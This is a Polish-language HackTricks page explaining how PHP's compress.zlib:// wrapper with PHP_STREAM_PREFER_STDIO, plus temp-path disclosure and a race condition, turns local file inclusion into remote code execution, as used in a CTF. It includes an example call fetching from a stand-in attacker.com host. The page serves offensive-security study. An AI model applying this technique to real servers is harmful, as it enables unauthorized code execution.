LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcjonalności do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:


compress.zlib:// i PHP_STREAM_PREFER_STDIO

Plik otwarty za pomocą protokołu compress.zlib:// z flagą PHP_STREAM_PREFER_STDIO może kontynuować zapisywanie danych, które przychodzą do połączenia później do tego samego pliku.

Oznacza to, że wywołanie takie jak:

file_get_contents("compress.zlib://http://attacker.com/file")

Będzie wysyłać żądanie o http://attacker.com/file, a następnie serwer może odpowiedzieć na żądanie poprawną odpowiedzią HTTP, utrzymać otwarte połączenie i wysłać dodatkowe dane jakiś czas później, które również zostaną zapisane do pliku.

Możesz zobaczyć tę informację w tym fragmencie kodu php-src w main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Wyścigowa sytuacja do RCE

To CTF zostało rozwiązane przy użyciu poprzedniego triku.

Atakujący sprawi, że serwer ofiary otworzy połączenie, czytając plik z serwera atakującego przy użyciu protokołu compress.zlib.

Podczas gdy to połączenie istnieje, atakujący będzie wyciekać ścieżkę do utworzonego pliku tymczasowego (która jest ujawniona przez serwer).

Podczas gdy to połączenie jest nadal otwarte, atakujący wykorzysta LFI ładując plik tymczasowy, który kontroluje.

Jednakże, istnieje sprawdzenie w serwerze WWW, które zapobiega ładowaniu plików zawierających <?. Dlatego atakujący wykorzysta Wyścigową sytuację. W połączeniu, które jest nadal otwarte, atakujący wyśle ładunek PHP PO tym, jak serwer WWW sprawdził, czy plik zawiera zakazane znaki, ale PRZED załadowaniem jego zawartości.

Aby uzyskać więcej informacji, sprawdź opis Wyścigowej sytuacji i CTF na https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel to wyszukiwarka zasilana przez ciemny internet, która oferuje darmowe funkcjonalności do sprawdzania, czy firma lub jej klienci nie zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated